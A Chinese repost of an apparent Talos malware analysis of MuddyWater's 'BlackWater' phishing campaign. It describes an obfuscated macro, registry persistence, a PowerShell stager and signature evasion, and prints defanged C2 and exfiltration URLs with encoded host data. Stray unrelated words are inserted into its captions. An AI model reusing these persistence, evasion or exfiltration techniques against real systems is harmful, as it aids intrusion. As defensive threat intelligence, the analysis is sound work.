使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析

本文主要是介绍使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

摘要

Cisco Talos团队近期发现名为“BlackWater”的恶意活动与可疑的持续威胁组织MuddyWater相关联。在2019年4月,我们开始监测到新型样本,并对其进行分析,结果表明攻击者已经在常规的运营活动中添加了三个不同的步骤,允许恶意软件绕过某些安全控制,并且MuddyWater的策略、技术和流程(TTPs)已经发展到逃避检测阶段。一旦成功,该恶意软件系列会将基于PowerShell的后门安装到受害者的计算机上,从而为威胁参与者提供远程访问的权限。尽管新型恶意活动表明,威胁参与者正在采取措施来提高其运营过程的安全性,并尽可能逃避终端检测,但我们发现其基础代码仍然保持不变。本文中所描述的分析成果将有助于威胁分析团队识别MuddyWater最新的TTP。

在最新的恶意活动中,威胁行为者首先添加了一个经过混淆后的Visual Basic for Applications(VBA)脚本,通过创建注册表项的方式来建立持久性。接下来,该脚本将触发PowerShell Stager,可能是为了伪装成红方工具,而不会被认为是高级威胁。随后,Stager将与一个威胁行为者控制的服务器进行通信,以获得FruityC2代理脚本的一个组件,这是GitHub上的一个开源框架,可以进一步枚举主机。这样一来,威胁参与者就可以监控Web日志,并确定未参与活动的某人是否向其服务器发出请求以尝试调查该活动。一旦枚举命令运行,代理将与不同的C2进行通信,并在URL字段中发回数据。这样一来,基于主机的检测将会变得更加困难,因为这一过程中并不会生成易于识别的“errors.txt”文件。威胁参与者还采取了额外的步骤来替换近期最新样本中的一些变量字符串,这可能是为了避免根据Yara规则进行基于签名的检测。

在近几个月内观察到的相关恶意样本显示,恶意活动的复杂程度不断增加。一些疑似与MuddyWater相关的样本表明,在2019年2月至3月期间,威胁参与者在受感染的主机上创建了持久性,并使用PowerShell命令枚举受害者的主机IP地址以及命令与控制(C2)服务器的IP地址。所有这些组件都包含在木马化的附件里,因此安全人员只需获得文档的样本,即可发现攻击者的TTP。与之相比,4月发生的恶意活动需要采取多步骤的调查方法。

BlackWater文档分析

Talos团队发现有证据表明恶意样本疑似与恶意组织MuddyWater有关。MuddyWater自2017年11月起至今一直活跃,并且主要针对中东地区的实体。我们有一定证据判断,这些文件是通过网络钓鱼电子邮件的方式发送给受害者的。其中的一个木马文件创建于2019年4月23日,其原始文件的标题是“company information list.doc”。中国菜刀

使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析

文档打开后,它会提示用户启用名称为“BlackWater.bas”的宏。威胁行为者对宏添加了密码保护,如果用户试图在Visual Basic中查看宏,可能会发现该宏无法访问,这可能是一种防逆向技术。威胁行为者使用了替换密码对“blackWater.bas”宏进行了混淆,并使用相应的整数来替换字符。

宏运行时的截图:天空彩

使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析

该宏中包含一个PowerShell脚本,可以在“运行”注册表项KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEncoding中添加条目,从而保证持久性。然后脚本每300秒调用一次文件“\ProgramData\SysTextEnc.ini”。SysTextEnc.ini的明文版本似乎是一个轻量级的Stager。

从文档中找到的Stager的屏幕截图:

使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析

随后,Stager连接位于hxxp://38[.]132[.]99[.]167/crf.txt的威胁行为者控制的C2服务器。crf.txt文件的明文版本非常类似于MuddyWater组织在以土耳其的Krudish政治组织为目标时使用的PowerShell代理。下面的截图中展示了PowerShell木马的前几行。攻击者做了一些微小的改动,例如:修改变量名以避免Yara检测,将命令结果发送到URL中的C2而不是直接将它们写入文件。但是,尽管有上述这些改动,但恶意软件的基本功能仍然是几乎没有变化。值得注意的是,用于枚举主机的许多PowerShell命令似乎是从名为FruityC2的GitHub项目中派生出来的。

针对Krudish政治组织发起攻击的恶意文档中嵌入的PowerShell脚本:二四六

使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析

来自威胁行为者所控制服务器的PowerShell脚本:

使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析

这一系列命令,首先会向C2服务器发送hello消息,然后每隔300秒发送一次后续的hello消息。该信标的一个示例是“hxxp://82[.]102[.]8[.]101:80/bcerrxy.php?rCecms=BlackWater”。值得注意的是,木马化恶意文档的宏也被称为“BlackWater”,并且该值“BlackWater”也被以硬编码的格式写入到PowerShell脚本中。

接下来,该脚本将枚举受害者的主机。大多数PowerShell命令都会调用Windows Management Instrumentation(WMI),然后查询如下信息:

1. 操作系统的名称(即主机名称);

2. 操作系统的OS架构;

3. 操作系统的版本;

4. 计算机系统的域名;

5. 计算机系统的用户名;

6. 计算机的公网IP地址。

在这里,唯一一个没有调用WMI的命令是“System.Security.Cryptography.MD5CryptoServiceProvider.ComputerHash”,这是获取安全系统的MD5哈希值的命令。如果多个工作站在同一网络中被攻陷,那么可能会获取工作站的唯一标识。在获取基于主机的枚举信息之后,它将进行Base64编码,然后将编码后的内容附加到URL POST请求中发送至C2。而在以前的版本中,该信息被写入到文本文件中。编码后命令的示例如下所示:

hxxp://82[.]102[.]8[.]101/bcerrxy.php?riHl=RkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYtRkYqMTk5NypFUDEq0D0uTWljcm9zb2Z0IFdpbmRvd3MgNyBQcm9mZXNzaW9uYWwqMzItYml0KlVTRVItUEMqV09SS0dST1VQ0D0uKlVTRVItUENcYWRtaW4qMTkyLjE2OC4wMDAuMDE=

经过解码后,上述命令将变得更加清晰:

hxxp://82[.]102[.]8[.]101/bcerrxy.php?riHi=FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF-FF*1997*EP1*Ð=.Microsoft Windows 7 Professional*32-bit*USER-PC*WORKGROUPÐ=.*USER-PC\admin*192.168.000.01

总结

除了本文中描述的新型反检测方法之外,MuddyWater组织还进行了少量修改,以避免常见的基于主机的特征检测方法,并替换变量名称以逃避Yara特征检测。但这些变化是非常简单的,因为其基础代码库和植入功能仍然基本保持不变。然而,尽管这些修改非常微小,但它们足以避免某些检测机制。在上个月,MuddyWater的一些恶意活动被公开披露,但该组织没有受到这方面的影响,持续开展恶意活动。基于上述观察以及MuddyWater针对土耳其实体的历史恶意活动,我们有理由判断,这一系列恶意活动与MuddyWater恶意组织相关。

IoC

恶意样本哈希值

0f3cabc7f1e69d4a09856cc0135f7945850c1eb6aeecd010f788b3b8b4d91cad

9d998502c3999c4715c880882efa409c39dd6f7e4d8725c2763a30fbb55414b7

0d3e0c26f7f53dff444a37758b414720286f92da55e33ca0e69edc3c7f040ce2

A3bb6b3872dd7f0812231a480881d4d818d2dea7d2c8baed858b20cb318da981

6f882cc0cddd03bc123c8544c4b1c8b9267f4143936964a128aa63762e582aad

Bef9051bb6e85d94c4cfc4e03359b31584be027e87758483e3b1e65d389483e6

B2600ac9b83e5bb5f3d128dbb337ab1efcdc6ce404adb6678b062e95dbf10c93

4dd641df0f47cb7655032113343d53c0e7180d42e3549d08eb7cb83296b22f60

576d1d98d8669df624219d28abcbb2be0080272fa57bf7a637e2a9a669e37acf

062a8728e7fcf2ff453efc56da60631c738d9cd6853d8701818f18a4e77f8717

URL

hxxp://38[.]132[.]99[.]167/crf.txt

hxxp://82[.]102[.]8[.]101:80/bcerrxy.php?rCecms=BlackWater

hxxp://82[.]102[.]8[.]101/bcerrxy.php?

hxxp://94[.]23[.]148[.]194/serverScript/clientFrontLine/helloServer.php

hxxp://94[.]23[.]148[.]194/serverScript/clientFrontLine/getCommand.php

hxxp://94[.]23[.]148[.]194/serverScript/clientFrontLine/

hxxp://136[.]243[.]87[.]112:3000/KLs6yUG5Df

hxxp://136[.]243[.]87[.]112:3000/ll5JH6f4Bh

hxxp://136[.]243[.]87[.]112:3000/Y3zP6ns7kG

检测

Doc.Dropper.Pwshell::malicious.tht.talos

这篇关于使用新型反检测技术:与MuddyWater相关的BlackWater恶意活动分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/779206

相关文章

Python使用FastAPI实现大文件分片上传与断点续传功能

《Python使用FastAPI实现大文件分片上传与断点续传功能》大文件直传常遇到超时、网络抖动失败、失败后只能重传的问题,分片上传+断点续传可以把大文件拆成若干小块逐个上传,并在中断后从已完成分片继... 目录一、接口设计二、服务端实现(FastAPI)2.1 运行环境2.2 目录结构建议2.3 serv

Spring Security简介、使用与最佳实践

《SpringSecurity简介、使用与最佳实践》SpringSecurity是一个能够为基于Spring的企业应用系统提供声明式的安全访问控制解决方案的安全框架,本文给大家介绍SpringSec... 目录一、如何理解 Spring Security?—— 核心思想二、如何在 Java 项目中使用?——

springboot中使用okhttp3的小结

《springboot中使用okhttp3的小结》OkHttp3是一个JavaHTTP客户端,可以处理各种请求类型,比如GET、POST、PUT等,并且支持高效的HTTP连接池、请求和响应缓存、以及异... 在 Spring Boot 项目中使用 OkHttp3 进行 HTTP 请求是一个高效且流行的方式。

Java使用Javassist动态生成HelloWorld类

《Java使用Javassist动态生成HelloWorld类》Javassist是一个非常强大的字节码操作和定义库,它允许开发者在运行时创建新的类或者修改现有的类,本文将简单介绍如何使用Javass... 目录1. Javassist简介2. 环境准备3. 动态生成HelloWorld类3.1 创建CtC

使用Python批量将.ncm格式的音频文件转换为.mp3格式的实战详解

《使用Python批量将.ncm格式的音频文件转换为.mp3格式的实战详解》本文详细介绍了如何使用Python通过ncmdump工具批量将.ncm音频转换为.mp3的步骤,包括安装、配置ffmpeg环... 目录1. 前言2. 安装 ncmdump3. 实现 .ncm 转 .mp34. 执行过程5. 执行结

Java使用jar命令配置服务器端口的完整指南

《Java使用jar命令配置服务器端口的完整指南》本文将详细介绍如何使用java-jar命令启动应用,并重点讲解如何配置服务器端口,同时提供一个实用的Web工具来简化这一过程,希望对大家有所帮助... 目录1. Java Jar文件简介1.1 什么是Jar文件1.2 创建可执行Jar文件2. 使用java

C#使用Spire.Doc for .NET实现HTML转Word的高效方案

《C#使用Spire.Docfor.NET实现HTML转Word的高效方案》在Web开发中,HTML内容的生成与处理是高频需求,然而,当用户需要将HTML页面或动态生成的HTML字符串转换为Wor... 目录引言一、html转Word的典型场景与挑战二、用 Spire.Doc 实现 HTML 转 Word1

Java中的抽象类与abstract 关键字使用详解

《Java中的抽象类与abstract关键字使用详解》:本文主要介绍Java中的抽象类与abstract关键字使用详解,本文通过实例代码给大家介绍的非常详细,感兴趣的朋友跟随小编一起看看吧... 目录一、抽象类的概念二、使用 abstract2.1 修饰类 => 抽象类2.2 修饰方法 => 抽象方法,没有

MyBatis ParameterHandler的具体使用

《MyBatisParameterHandler的具体使用》本文主要介绍了MyBatisParameterHandler的具体使用,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参... 目录一、概述二、源码1 关键属性2.setParameters3.TypeHandler1.TypeHa

Spring 中的切面与事务结合使用完整示例

《Spring中的切面与事务结合使用完整示例》本文给大家介绍Spring中的切面与事务结合使用完整示例,本文通过实例代码给大家介绍的非常详细,对大家的学习或工作具有一定的参考借鉴价值,需要的朋友参考... 目录 一、前置知识:Spring AOP 与 事务的关系 事务本质上就是一个“切面”二、核心组件三、完